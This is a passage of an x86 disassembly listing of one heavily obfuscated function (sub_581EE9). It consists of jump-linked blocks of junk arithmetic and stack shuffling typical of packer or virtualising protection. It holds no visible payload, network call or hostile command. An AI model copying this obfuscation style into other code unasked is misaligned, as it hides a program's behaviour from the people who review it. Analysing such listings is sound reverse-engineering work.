4 jmp loc_5A239B ; --------------------------------------------------------------------------- loc_597035: ; CODE XREF: sub_581EE9+159F9j sub eax, 5D4778F2h add eax, ecx add eax, 5D4778F2h sub eax, 2EE44BEAh jmp loc_5A28AA ; --------------------------------------------------------------------------- loc_59704B: ; CODE XREF: sub_581EE9+1362Ej mov [esp-6E6Ch+arg_6E64], edx mov edx, 7E3F023Eh xor edx, 23610A07h jmp loc_593A5B ; --------------------------------------------------------------------------- loc_59705E: ; CODE XREF: sub_581EE9+148EAj add [esp-6E66h+arg_6E60+2], edx pop edx pop [esp-6E6Ah+arg_6E60+2] jmp loc_59BEBF ; --------------------------------------------------------------------------- loc_59706B: ; CODE XREF: sub_581EE9+1E2E7j add esp, 4 add ebp, ecx mov ecx, [esp-6E72h+arg_6E68+2] add esp, 4 xor ebp, [esp-6E76h+arg_6E6E] jmp loc_5A59F9 ; --------------------------------------------------------------------------- loc_597081: ; CODE XREF: sub_581EE9+197ADj not edi sub edi, 24735F21h push eax push ebx mov ebx, 0ECB0B355h mov eax, ebx pop ebx xor edi, eax jmp loc_5A682A ; --------------------------------------------------------------------------- loc_59709A: ; CODE XREF: sub_581EE9+211A2j mov ebp, eax pop eax mov edi, 36FA44A2h jmp loc_5A48F6 ; --------------------------------------------------------------------------- loc_5970A7: ; CODE XREF: sub_581EE9+14F55j and eax, ebx pop ebx shr eax, 0Ah xor eax, ecx jmp loc_5A611C ; --------------------------------------------------------------------------- loc_5970B4: ; CODE XREF: sub_581EE9+2341Bj mov ecx, esp jmp loc_596A33 ; --------------------------------------------------------------------------- loc_5970BB: ; CODE XREF: sub_581EE9+1F607j xor ebp, edi jmp loc_5A6988 ; --------------------------------------------------------------------------- loc_5970C2: ; CODE XREF: sub_581EE9+24422j push [esp-6E4Eh+arg_6E44+2] push dword ptr [esp+0] pop ebp jmp loc_59B4CB ; --------------------------------------------------------------------------- loc_5970CE: ; CODE XREF: sub_581EE9+13D68j push eax jmp loc_599445 ; --------------------------------------------------------------------------- loc_5970D4: ; CODE XREF: sub_581EE9+18313j pop esp sub eax, 7245694Ch jmp loc_595E6E ; --------------------------------------------------------------------------- loc_5970DF: ; CODE XREF: sub_581EE9+227AAj mov [esp-6E7Ch+arg_6E72+2], ecx mov ecx, 3F9B4C40h or ecx, 10E1439Dh add ecx, 1 jmp loc_59FB7D ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E7Ch+arg_6E72+2] push edi mov edi, esp add edi, 4 jmp loc_592E8B ; --------------------------------------------------------------------------- loc_59710A: ; CODE XREF: sub_581EE9+15EFEj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59710F: ; CODE XREF: sub_581EE9+1D5BEj sub dh, 67h or dh, 25h push edx not byte ptr [esp+1] pop edx add dh, 1 sub dh, 5Bh push ecx mov ch, 29h jmp loc_5986FD ; --------------------------------------------------------------------------- loc_597129: ; CODE XREF: sub_581EE9+24415j add edx, 162235CDh add edx, ebx sub edx, 162235CDh pop ebx add edx, 4 xchg edx, [esp-6E78h+arg_6E6E+2] mov esp, [esp-6E78h+arg_6E6E+2] add bl, 2Ch sub bl, al sub bl, 2Ch push small 2150h jmp loc_59D85E ; --------------------------------------------------------------------------- loc_597152: ; CODE XREF: sub_581EE9+22CDBj add al, 0A9h jmp loc_5A0D96 ; --------------------------------------------------------------------------- loc_597159: ; CODE XREF: sub_581EE9+1DD8Ej mov ebx, 476043Ah not ebx shr ebx, 2 jmp loc_596B90 ; --------------------------------------------------------------------------- loc_597168: ; CODE XREF: sub_581EE9+181B2j mov ecx, [esp-6E76h+arg_6E6E] add esp, 4 xor ecx, 0EA0C6B59h push ebp mov ebp, 4239575Ah xor ebp, 108B713Eh inc ebp not ebp add ebp, 7C5A3D4Fh jmp loc_5A43CE ; --------------------------------------------------------------------------- loc_597191: ; CODE XREF: sub_581EE9+1726Fj push [esp-6E76h+arg_6E6E] jmp loc_59B718 ; --------------------------------------------------------------------------- loc_597199: ; CODE XREF: sub_581EE9+24B69j mov ebp, [esp-6E72h+arg_6E68+2] push ebp mov ebp, esp sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esi mov esi, 4 jmp loc_592140 ; --------------------------------------------------------------------------- loc_5971AF: ; CODE XREF: sub_581EE9+1D089j sub ecx, 1E6EBAh jmp loc_595A37 ; --------------------------------------------------------------------------- loc_5971BA: ; CODE XREF: sub_581EE9+1E5D2j mov ebx, 3A7125D4h push ebx jmp loc_59957B ; --------------------------------------------------------------------------- loc_5971C5: ; CODE XREF: sub_581EE9+1C343j add esp, 4 sub ecx, esi pop esi sub [edi+24h], ecx push [esp-6E6Eh+arg_6E64+2] jmp loc_596F48 ; --------------------------------------------------------------------------- loc_5971D9: ; CODE XREF: sub_581EE9+2180Bj push 4 pop ebp add [esp-6E6Ah+arg_6E64+2], ebp mov ebp, [esp-6E6Ah+arg_6E60+2] add esp, 4 jmp loc_5937EA ; --------------------------------------------------------------------------- loc_5971F1: ; CODE XREF: sub_581EE9+1B6E9j sub cl, 5Fh dec cl not cl jmp loc_5A1D8C ; --------------------------------------------------------------------------- loc_5971FD: ; CODE XREF: sub_581EE9+1441Aj push esi mov esi, edi jmp loc_5A6211 ; --------------------------------------------------------------------------- loc_597205: ; CODE XREF: sub_581EE9+1BE9Bj add ebx, 0FFFFFFFFh push ebx jmp loc_5A3B7F ; --------------------------------------------------------------------------- loc_597211: ; CODE XREF: sub_581EE9+21151j mov esi, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 xchg ebp, [esp-6EAEh+arg_6EA4+2] pop esp push esi jmp loc_5A243E ; --------------------------------------------------------------------------- loc_597224: ; CODE XREF: sub_581EE9+23036j sub al, 21h push [esp-6EAEh+arg_6EA4+2] pop ecx push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, dword ptr [esp-6EAAh+arg_6EA2] pop esp push 283Dh mov dword ptr [esp-6EAAh+arg_6EA2], edx mov dh, 44h shr dh, 8 add dh, 63h jmp loc_59F2E2 ; --------------------------------------------------------------------------- loc_597255: ; CODE XREF: sub_581EE9+1C7FEj mov edx, esp add edx, 4 add edx, 4 jmp loc_59EB7F ; --------------------------------------------------------------------------- loc_597268: ; CODE XREF: sub_581EE9+1D2FAj mov eax, 0 sub eax, ebp xchg eax, ebp pop eax sub ebp, 9A5489F2h sub edi, ebp mov ebp, [esp-6EAEh+arg_6EA4+2] jmp loc_59389F ; --------------------------------------------------------------------------- loc_597281: ; CODE XREF: sub_581EE9+1F86Aj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_597D43 ; --------------------------------------------------------------------------- loc_597298: ; CODE XREF: sub_581EE9+23F6Bj mov ch, 2Ah jmp loc_5939D6 ; --------------------------------------------------------------------------- loc_59729F: ; CODE XREF: sub_581EE9+17FDBj mov eax, dword ptr [esp-6EAAh+arg_6EA2] add esp, 4 add ebx, 7C2E54A4h sub ebx, 174E298Bh jmp loc_5A2606 ; --------------------------------------------------------------------------- loc_5972B6: ; CODE XREF: sub_581EE9+21C41j push ebx mov ebx, 15514C35h or ecx, ebx pop ebx jmp loc_5A4E2B ; --------------------------------------------------------------------------- loc_5972C4: ; CODE XREF: sub_581EE9+13D20j add edx, 2137F760h jmp loc_59DD48 ; --------------------------------------------------------------------------- loc_5972CF: ; CODE XREF: sub_581EE9+19F77j push si mov si, 0AF7Ch jmp loc_599AB4 ; --------------------------------------------------------------------------- loc_5972DA: ; CODE XREF: sub_581EE9+10D9Fj mov ebp, 0A9B2DAEh xor edx, ebp jmp loc_5A12CC ; --------------------------------------------------------------------------- loc_5972E6: ; CODE XREF: sub_581EE9+227B2j inc dh inc dh add dh, 6Fh jmp loc_59B41A ; --------------------------------------------------------------------------- loc_5972F2: ; CODE XREF: sub_581EE9+19CFCj or esi, 1C8C4D88h sub esi, 7CAF6FB5h sub ebx, 10EA4049h add ebx, esi add ebx, 10EA4049h pop esi add ebx, 4 xchg ebx, [esp-6E7Eh+arg_6E76] pop esp push dword ptr [esp-6E82h+arg_6E7A] mov edx, [esp-6E7Eh+arg_6E76] add esp, 4 jmp loc_592C4F ; --------------------------------------------------------------------------- loc_597322: ; CODE XREF: sub_581EE9+21374j xor ebx, dword ptr [esp-6E82h+arg_6E7A] xor dword ptr [esp-6E82h+arg_6E7A], ebx xor ebx, dword ptr [esp-6E82h+arg_6E7A] jmp loc_5A58AE ; --------------------------------------------------------------------------- loc_597330: ; CODE XREF: sub_581EE9+116C3j mov ebp, 6D705CB6h sub ebp, 48B36E0Fh dec ebp jmp loc_5A6303 ; --------------------------------------------------------------------------- loc_597341: ; CODE XREF: sub_581EE9+21947j sub eax, esi pop esi add eax, ebx push edx jmp loc_594A5A ; --------------------------------------------------------------------------- loc_59734C: ; CODE XREF: sub_581EE9+1742Ej sub ebx, ecx jmp loc_5A0755 ; --------------------------------------------------------------------------- loc_597353: ; CODE XREF: sub_581EE9+1CC39j add ebx, 46F5EE20h jmp loc_5A6D1C ; --------------------------------------------------------------------------- loc_59735E: ; CODE XREF: sub_581EE9+1EEB7j mov dl, 0F7h add dl, 72h sub dl, 83h add al, dl pop edx sub al, 35h mov cx, word ptr [esp-6E86h+arg_6E7C+2] add esp, 2 push eax push ecx mov ch, 41h jmp loc_5A1142 ; --------------------------------------------------------------------------- loc_59737E: ; CODE XREF: sub_581EE9+23ED3j xchg eax, ecx jmp loc_594BA1 ; --------------------------------------------------------------------------- loc_597384: ; CODE XREF: sub_581EE9+15A27j inc ebx jmp loc_599534 ; --------------------------------------------------------------------------- loc_59738A: ; CODE XREF: sub_581EE9+1A63Cj push esi jmp loc_59D967 ; --------------------------------------------------------------------------- loc_597390: ; CODE XREF: sub_581EE9+18F9Ej add ecx, esi jmp loc_5A1F0B ; --------------------------------------------------------------------------- loc_597397: ; CODE XREF: sub_581EE9+219E4j mov ebx, [esp-6E7Eh+arg_6E76] jmp loc_5A672D ; --------------------------------------------------------------------------- loc_59739F: ; CODE XREF: sub_581EE9+22A47j and eax, esi push [esp-6E7Eh+arg_6E76] pop esi jmp loc_59C401 ; --------------------------------------------------------------------------- loc_5973AA: ; CODE XREF: sub_581EE9+23F93j sub ebx, 43381FCDh sub ebx, 231E1AE2h sub ebx, 0E8B8EAC2h add edx, ebx jmp loc_599FED ; --------------------------------------------------------------------------- loc_5973C3: ; CODE XREF: sub_581EE9+13738j sub esi, ecx jmp loc_59C123 ; --------------------------------------------------------------------------- loc_5973CA: ; CODE XREF: sub_581EE9+24538j push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A382C ; --------------------------------------------------------------------------- loc_5973DB: ; CODE XREF: sub_581EE9+1189Aj push ebx mov bh, 98h sub al, bh pop ebx sub esp, 4 mov [esp+0], ecx push edx mov dl, 8Bh sub dl, 0A5h shr dl, 4 inc dl jmp loc_5A02BF ; --------------------------------------------------------------------------- loc_5973FA: ; CODE XREF: sub_581EE9+1124Aj pop ecx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597400: ; CODE XREF: sub_581EE9+2412Cj add edx, ebx jmp loc_59999B ; --------------------------------------------------------------------------- loc_597407: ; CODE XREF: sub_581EE9+1E05Aj add eax, ecx pop ecx xor eax, [esp-6E56h+arg_6E4C+2] xor [esp-6E56h+arg_6E4C+2], eax xor eax, [esp-6E56h+arg_6E4C+2] pop esp push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-6E56h+arg_6E4C+2] pop esp mov [esp-6E5Ah+arg_6E50+2], edx mov edx, esp jmp loc_5A0CCE ; --------------------------------------------------------------------------- loc_597431: ; CODE XREF: sub_581EE9+22908j mov edi, 776749C5h push 0 sub [esp-6E56h+arg_6E4C+2], edi jmp loc_59413D ; --------------------------------------------------------------------------- loc_597443: ; CODE XREF: sub_581EE9+194C0j push 4513h mov [esp-6E52h+arg_6E48+2], ecx mov ecx, 56AF14B6h xor ecx, 55D43C61h jmp loc_59BF3F ; --------------------------------------------------------------------------- loc_59745B: ; CODE XREF: sub_581EE9+1F936j push [esp-6E52h+arg_6E4C+2] pop ebx pop [esp-6E52h+arg_6E48+2] jmp loc_5A601A ; --------------------------------------------------------------------------- loc_597468: ; CODE XREF: sub_581EE9+1D670j sub esi, 6684477h push ebx mov ebx, 7A487E6Bh jmp loc_5A3E10 ; --------------------------------------------------------------------------- loc_597479: ; CODE XREF: sub_581EE9+216BCj pop ebx pop ecx push eax push ebp jmp loc_595436 ; --------------------------------------------------------------------------- loc_597482: ; CODE XREF: sub_581EE9+24D27j pop esp mov [esp-6E56h+arg_6E4C+2], ecx push esp pop ecx jmp loc_59DDDE ; --------------------------------------------------------------------------- loc_59748D: ; CODE XREF: sub_581EE9+21002j add dh, al jmp loc_59211C ; --------------------------------------------------------------------------- loc_597494: ; CODE XREF: sub_581EE9+14ED6j add eax, edi pop edi jmp loc_5A58F4 ; --------------------------------------------------------------------------- loc_59749C: ; CODE XREF: sub_581EE9+12D1Dj mov edi, [esp+0] jmp loc_593849 ; --------------------------------------------------------------------------- loc_5974A4: ; CODE XREF: sub_581EE9+1B153j mov edx, ebp pop ebp push esi mov esi, 34E6737Bh sub eax, 70914F6Ah jmp loc_59AF58 ; --------------------------------------------------------------------------- loc_5974B7: ; CODE XREF: sub_581EE9+1BF87j xchg esi, [esp+0] pop esp and eax, edx pop edx shr eax, 8 xor eax, ecx push eax mov eax, esp push 7A74h mov [esp+0], ebx push ebp mov ebp, 79105C39h dec ebp shl ebp, 8 shr ebp, 6 sub ebp, 0A79C50ABh mov ebx, ebp pop ebp jmp loc_5A7053 ; --------------------------------------------------------------------------- loc_5974E9: ; CODE XREF: sub_581EE9+169F9j sub esp, 4 push esp pop [esp-6E88h+arg_6E80] push edi mov edi, 4 add [esp-6E88h+arg_6E84], edi pop edi pop [esp-6E8Ch+arg_6E84] add dword ptr [esp+0], 4 push dword ptr [esp+0] pop esi push 2720h jmp loc_59C07D ; --------------------------------------------------------------------------- loc_597510: ; CODE XREF: sub_581EE9+1C09Cj xor ecx, 0CE9041Fh mov eax, ecx pop ecx mov edx, eax pop eax jmp loc_5A356A ; --------------------------------------------------------------------------- loc_597521: ; CODE XREF: sub_581EE9+1BF0Ej jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597526: ; CODE XREF: sub_581EE9+21197j add edi, 7D884A2Fh jmp loc_5A4541 ; --------------------------------------------------------------------------- loc_597531: ; CODE XREF: sub_581EE9+24160j push ecx pop dword ptr [edi+24h] pop ecx loc_597536: ; CODE XREF: sub_581EE9+1008Fj push edx mov edx, esp push eax mov eax, 4 add edx, 2B6B7566h add edx, eax sub edx, 2B6B7566h mov eax, [esp+0] add esp, 4 sub edx, 4 xchg edx, [esp-6E94h+arg_6E8A+2] pop esp mov [esp-6E98h+arg_6E8E+2], esi mov esi, esp push ecx push ebx mov ebx, 28BC11C0h jmp loc_594E68 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax jmp loc_592FB0 ; --------------------------------------------------------------------------- loc_59757C: ; CODE XREF: sub_581EE9+1E997j mov [esp-6E8Ch+arg_6E84], ebx jmp loc_598621 ; --------------------------------------------------------------------------- loc_597584: ; CODE XREF: sub_581EE9+224D0j sub esi, 38E00B3h push 31h mov [esp-6E88h+arg_6E80], edi jmp loc_5A593C ; --------------------------------------------------------------------------- loc_597597: ; CODE XREF: sub_581EE9+15B21j pop edx push 0 jmp loc_5A142E ; --------------------------------------------------------------------------- loc_5975A2: ; CODE XREF: sub_581EE9+18BF3j mov ebx, 9584C12Dh add edx, ebx jmp loc_5A15C5 ; --------------------------------------------------------------------------- loc_5975AE: ; CODE XREF: sub_581EE9+22410j xor dl, 81h neg dl jmp loc_59FF69 ; --------------------------------------------------------------------------- loc_5975B8: ; CODE XREF: sub_581EE9+14C5Dj pop esi jmp loc_5934BB ; --------------------------------------------------------------------------- loc_5975BE: ; CODE XREF: sub_581EE9+23D18j mov eax, ecx pop ecx add esi, eax pop eax push 1854h mov [esp-6E62h+arg_6E58+2], eax push ebp mov ebp, 5F325012h push edx push 3C540DDAh pop edx add edx, 6479A216h jmp loc_592F2D ; --------------------------------------------------------------------------- loc_5975E4: ; CODE XREF: sub_581EE9+16263j push [esp-6E5Ah+arg_6E50+2] jmp loc_5A192F ; --------------------------------------------------------------------------- loc_5975EC: ; CODE XREF: sub_581EE9+100E6j mov ebx, 4 add edi, ebx jmp loc_59D60C ; --------------------------------------------------------------------------- loc_5975F8: ; CODE XREF: sub_581EE9+2067Fj push [esp-6EA2h+arg_6E9E] mov esi, [esp-6E9Eh+arg_6E96] add esp, 4 pop [esp-6EA2h+arg_6E9A] jmp loc_59366C ; --------------------------------------------------------------------------- loc_59760D: ; CODE XREF: sub_581EE9+11B86j xor dword ptr [esp-6E82h+arg_6E7A], ebp xor ebp, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59693C ; --------------------------------------------------------------------------- loc_597618: ; CODE XREF: sub_581EE9+121DFj xor eax, 1FFA016Fh add eax, 1217728Ch jmp loc_5943BB ; --------------------------------------------------------------------------- loc_597627: ; CODE XREF: sub_581EE9+20F76j xchg esi, [esp-6E76h+arg_6E6E] jmp loc_5A286A ; --------------------------------------------------------------------------- loc_59762F: ; CODE XREF: sub_581EE9+1CC9Aj push ecx jmp loc_598322 ; --------------------------------------------------------------------------- loc_597635: ; CODE XREF: sub_581EE9+214B8j xchg edi, [esp-6E72h+arg_6E68+2] pop esp dec ebx not ebx not ebx sub esp, 4 mov [esp-6E72h+arg_6E68+2], edi mov edi, 29763280h push esi push 23741DFEh pop esi add edi, 40A71A6Dh add edi, esi sub edi, 40A71A6Dh pop esi xor ebx, edi jmp loc_59C761 ; --------------------------------------------------------------------------- loc_597666: ; CODE XREF: sub_581EE9+1FA68j xor ebp, 0DB1627C7h mov ebx, ebp mov ebp, [esp-6E72h+arg_6E68+2] add esp, 4 shr ebx, 3 add ebx, 4FAB24D7h push esi mov esi, 8D951657h jmp loc_597898 ; --------------------------------------------------------------------------- loc_597688: ; CODE XREF: sub_581EE9+1E65Dj push edi mov edi, 2005805h jmp loc_592378 ; --------------------------------------------------------------------------- loc_597693: ; CODE XREF: sub_581EE9+1FF73j xor ebx, 6AFE6371h mov edx, ebx pop ebx jmp loc_596FF2 ; --------------------------------------------------------------------------- loc_5976A1: ; CODE XREF: sub_581EE9+1C8B3j add esp, 4 jmp loc_5A49BA ; --------------------------------------------------------------------------- loc_5976A9: ; CODE XREF: sub_581EE9+1FA41j or al, 0C7h inc al shl al, 2 neg al xor al, 86h push bx mov bh, 2Bh sub al, bh pop bx mov bl, al jmp loc_59EDE4 ; --------------------------------------------------------------------------- loc_5976C3: ; CODE XREF: sub_581EE9+1ECAFj sub eax, 33904B70h add eax, 4DA806F7h pop edx add esi, eax mov eax, [esp] add esp, 4 xor esi, [esp-6E7Eh+arg_6E76] xor [esp-6E7Eh+arg_6E76], esi xor esi, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] add byte ptr [esp-6E7Eh+arg_6E76], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5976EB: ; CODE XREF: sub_581EE9+19D5Fj mov [esp-6E7Ah+arg_6E72], eax push esp pop eax push esi mov esi, 1A6F123Fh push ebp jmp loc_59EE51 ; --------------------------------------------------------------------------- loc_5976FC: ; CODE XREF: sub_581EE9+176EEj add esp, 4 jmp loc_59EB88 ; --------------------------------------------------------------------------- loc_597704: ; CODE XREF: sub_581EE9+10B44j mov eax, 2 jmp loc_594D0B ; --------------------------------------------------------------------------- loc_59770E: ; CODE XREF: sub_581EE9+17BE1j add bx, 50A4h jmp loc_5966EB ; --------------------------------------------------------------------------- loc_597718: ; CODE XREF: sub_581EE9+134F8j add esi, 4 push eax mov eax, 77EB330Bh neg eax push ebx mov ebx, 2F123BD4h jmp loc_5A2E35 ; --------------------------------------------------------------------------- loc_597731: ; CODE XREF: sub_581EE9+1704Aj sub esi, 51486D3Bh add esi, 308F7CCFh jmp loc_5A6C40 ; --------------------------------------------------------------------------- loc_597742: ; CODE XREF: sub_581EE9+1F1CBj pop esi push 606h mov [esp-6EC0h+arg_6EB6+2], ebp mov ebp, 3E172EE9h sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], ebx mov ebx, 6B1767DEh sub eax, 27DD740Eh sub eax, ebx add eax, 27DD740Eh pop ebx sub eax, ebp push edx jmp loc_5964A2 ; --------------------------------------------------------------------------- loc_597770: ; CODE XREF: sub_581EE9+13D4Cj push 14513B65h pop edx or edi, edx pop edx jmp loc_59A790 ; --------------------------------------------------------------------------- loc_59777E: ; CODE XREF: sub_581EE9+20EDFj push edi mov edi, esp jmp loc_59963B ; --------------------------------------------------------------------------- loc_597786: ; CODE XREF: sub_581EE9+16B9Ej add ebp, 4 add ebp, 4 jmp loc_59C843 ; --------------------------------------------------------------------------- loc_597794: ; CODE XREF: sub_581EE9+223F0j mov edx, 4 sub [esp-6E88h+arg_6E84], 28A9138Fh add [esp-6E88h+arg_6E84], edx add [esp-6E88h+arg_6E84], 28A9138Fh pop edx push [esp-6E8Ch+arg_6E84] mov esi, [esp-6E88h+arg_6E80] add esp, 4 add esp, 4 push edx mov edx, 4 jmp loc_5A43AB ; --------------------------------------------------------------------------- loc_5977C5: ; CODE XREF: sub_581EE9+178BCj pop esp jmp loc_595B74 ; --------------------------------------------------------------------------- loc_5977CB: ; CODE XREF: sub_581EE9+15C01j mov [esp+0], ecx mov ecx, 4004073Eh and eax, ecx pop ecx sub esp, 4 mov [esp+0], esi push eax push 0C3B60C3Ah pop eax mov esi, eax mov eax, [esp-6E8Ch+arg_6E84] add esp, 4 sub eax, 76804A92h sub eax, esi add eax, 76804A92h pop esi jmp loc_5A1A3E ; --------------------------------------------------------------------------- loc_597803: ; CODE XREF: sub_581EE9+2447Dj push esi push [esp-6E90h+arg_6E8A+2] pop esi pop dword ptr [esp+0] jmp loc_599688 ; --------------------------------------------------------------------------- loc_597811: ; CODE XREF: sub_581EE9+174F3j mov eax, [esp-6E94h+arg_6E8A+2] add esp, 4 xor eax, 7A485EE7h mov ecx, [esp-6E98h+arg_6E8E+2] add esp, 4 push 653h mov [esp-6E98h+arg_6E8E+2], esi mov esi, esp push 3563h mov [esp-6E94h+arg_6E8A+2], ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_593636 ; --------------------------------------------------------------------------- loc_597844: ; CODE XREF: sub_581EE9+190BDj mov ebx, edi pop edi mov esi, 0C866C400h add esi, ebx push [esp-6E9Ch+arg_6E92+2] pop ebx add esp, 4 sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], edi jmp loc_5A288A ; --------------------------------------------------------------------------- loc_597863: ; CODE XREF: sub_581EE9+14E64j mov [esp-6EA2h+arg_6E9A], esp push 1A94h mov [esp-6E9Eh+arg_6E96], eax jmp loc_594659 ; --------------------------------------------------------------------------- loc_597873: ; CODE XREF: sub_581EE9+1C71Dj add esp, 4 or eax, eax jnz loc_5A1D2F push 1D40h mov [esp-6E9Eh+arg_6E96], esi mov esi, 345F298Eh not esi sub esi, 0BB655906h jmp loc_594F79 ; --------------------------------------------------------------------------- loc_597898: ; CODE XREF: sub_581EE9+1579Aj sub ebx, esi pop esi xor edx, ebx pop ebx jmp loc_59FDB2 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E7Ah+arg_6E72] push 1222h mov [esp-6E76h+arg_6E6E], esi mov esi, esp push eax mov eax, 4 add esi, eax mov eax, [esp-6E72h+arg_6E68+2] jmp loc_5A5404 ; --------------------------------------------------------------------------- loc_5978C1: ; CODE XREF: sub_581EE9+21953j xor ebx, edx not edx xchg edx, ebx xchg ebx, edi push eax push edi pop eax pop edi push edi push 4E39h jmp loc_599120 ; --------------------------------------------------------------------------- loc_5978D8: ; CODE XREF: sub_581EE9+1EF01j mov ecx, 4 add eax, 2EE44BEAh jmp loc_597035 ; --------------------------------------------------------------------------- loc_5978E7: ; CODE XREF: sub_581EE9+1B47Bj mov eax, esp add eax, 4 jmp loc_597DEC ; --------------------------------------------------------------------------- loc_5978F3: ; CODE XREF: sub_581EE9+1BB6Bj mov [esp-6E6Ah+arg_6E60+2], ebx mov ebx, 0BFD1DA1h or ebx, 596C65BEh shl ebx, 8 xor ebx, 49174CCBh xor ebx, 29D94B4Bh jmp loc_597384 ; --------------------------------------------------------------------------- loc_597915: ; CODE XREF: sub_581EE9+11CDEj push [esp-6E7Ah+arg_6E72] mov edi, [esp-6E76h+arg_6E6E] jmp loc_5A0448 ; --------------------------------------------------------------------------- loc_597920: ; CODE XREF: sub_581EE9+1BDFCj sub edi, 4E23503Ah shr edi, 4 xor edi, 39A10DBEh jmp loc_59AC9C ; --------------------------------------------------------------------------- loc_597934: ; CODE XREF: sub_581EE9+19309j mov [esp-6E76h+arg_6E6E], edx push [esp-6E76h+arg_6E72] mov edx, [esp-6E72h+arg_6E68+2] add esp, 4 pop [esp-6E76h+arg_6E6E] pop esp sub esp, 4 mov [esp-6E7Ah+arg_6E72], edi jmp loc_598456 ; --------------------------------------------------------------------------- loc_597956: ; CODE XREF: sub_581EE9+1A65Cj add eax, 4 sub eax, 4 jmp loc_596D5F ; --------------------------------------------------------------------------- loc_597965: ; CODE XREF: sub_581EE9+11D9Cj not ecx xor ecx, 0F4589234h sub ebx, ecx jmp loc_5A31D1 ; --------------------------------------------------------------------------- loc_597974: ; CODE XREF: sub_581EE9+1D02Cj mov ecx, 62BB1707h push edi mov edi, 1FCE6C02h jmp loc_5A04D4 ; --------------------------------------------------------------------------- loc_597984: ; CODE XREF: sub_581EE9+1A835j push 60F2h mov [esp-6E60h+arg_6E58], edx mov dh, 0ABh neg dh push ecx jmp loc_593714 ; --------------------------------------------------------------------------- loc_597996: ; CODE XREF: sub_581EE9+1E06Dj push edx mov edx, 2551692Bh or ebp, edx pop edx push eax mov eax, 3DDB5926h add eax, 6D10455Bh jmp loc_5925A2 ; --------------------------------------------------------------------------- loc_5979AF: ; CODE XREF: sub_581EE9+1FAC9j add ecx, edx pop edx push edi push eax mov eax, ecx mov edi, eax pop eax push edi add [esp-6E54h+arg_6E4C], 2C985D18h jmp loc_5A0896 ; --------------------------------------------------------------------------- loc_5979C6: ; CODE XREF: sub_581EE9+126FBj push [esp-6E84h+arg_6E7C] jmp loc_595044 ; --------------------------------------------------------------------------- loc_5979CE: ; CODE XREF: sub_581EE9+1EA9Fj xor bh, 0A5h jmp loc_59E322 ; --------------------------------------------------------------------------- loc_5979D6: ; CODE XREF: sub_581EE9+18E91j pop ebp dec eax inc eax push 368Ah mov [esp-6E80h+arg_6E76+2], ecx jmp loc_5A0C80 ; --------------------------------------------------------------------------- loc_5979E6: ; CODE XREF: sub_581EE9+16C94j mov ebx, 36501FB1h jmp loc_59F3AE ; --------------------------------------------------------------------------- loc_5979F0: ; CODE XREF: sub_581EE9+22095j add ebx, 2517675h add ebx, ecx jmp loc_5A2463 ; --------------------------------------------------------------------------- loc_5979FD: ; CODE XREF: sub_581EE9+19F32j mov esi, 1D374013h push edx mov edx, 3B9E4FF4h xor esi, edx jmp loc_597597 ; --------------------------------------------------------------------------- push [esp-6E7Ch+arg_6E72+2] push [esp-6E78h+arg_6E6E+2] pop ecx push eax push esp jmp loc_5A3C72 ; --------------------------------------------------------------------------- loc_597A1D: ; CODE XREF: sub_581EE9+15FE2j mov edx, 2C2F4462h xor edx, eax mov eax, [esp] add esp, 4 push eax mov eax, 0A88EACF2h push edi mov edi, 4699181Fh push ecx mov ecx, 329B0868h add edi, ecx jmp loc_5968C9 ; --------------------------------------------------------------------------- loc_597A46: ; CODE XREF: sub_581EE9+10432j pop esp add eax, 4 sub esp, 4 mov [esp-6EA8h+arg_6E9E+2], ebx push ecx mov ecx, 142B2C09h add ecx, 0EBD4D3FBh mov ebx, ecx pop ecx add eax, ebx mov ebx, [esp-6EA8h+arg_6E9E+2] add esp, 4 push eax push [esp-6EA8h+arg_6EA4] mov eax, [esp-6EA4h+arg_6E9A+2] add esp, 4 pop [esp-6EA8h+arg_6E9E+2] jmp loc_5A6FB1 ; --------------------------------------------------------------------------- loc_597A82: ; CODE XREF: sub_581EE9+220DEj mov edi, esp jmp loc_5A00A8 ; --------------------------------------------------------------------------- loc_597A89: ; CODE XREF: sub_581EE9+18859j mov [esp-6EACh+arg_6EA4], ecx mov ecx, 5CA53F14h push ebx mov ebx, 1A2F0D87h and ebx, 1630E6Eh sub ebx, 13C2788Bh jmp loc_59B70C ; --------------------------------------------------------------------------- loc_597AA8: ; CODE XREF: sub_581EE9+238ACj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_597AAD: ; CODE XREF: sub_581EE9+1B8EDj push esi mov esi, 4F6E0398h shl esi, 6 xor esi, 4D24D3Ch jmp loc_598C67 ; --------------------------------------------------------------------------- loc_597AC1: ; CODE XREF: sub_581EE9+1ACBBj not ax xchg ax, di not di jmp loc_5A11EA ; --------------------------------------------------------------------------- loc_597ACE: ; CODE XREF: sub_581EE9+101C0j push 5235h mov [esp-6EA6h+arg_6E9E], ecx sub esp, 4 mov [esp-6EA2h+arg_6E9A], eax push 6AE430A1h pop eax push 4659h jmp loc_5977CB ; --------------------------------------------------------------------------- loc_597AEF: ; CODE XREF: sub_581EE9+190E3j push [esp-6E9Eh+arg_6E96] pop ebp push esi mov esi, esp push edx jmp loc_59C85E ; --------------------------------------------------------------------------- loc_597AFC: ; CODE XREF: sub_581EE9+23DDEj push esp pop edx push edi mov edi, 6D276879h xor edi, 5B7F6140h push esi mov esi, 36580935h sub edi, esi pop esi add edx, edi jmp loc_5A5387 ; --------------------------------------------------------------------------- loc_597B1A: ; CODE XREF: sub_581EE9+1097Fj push [esp-6EC0h+arg_6EBA+2] pop edi pop 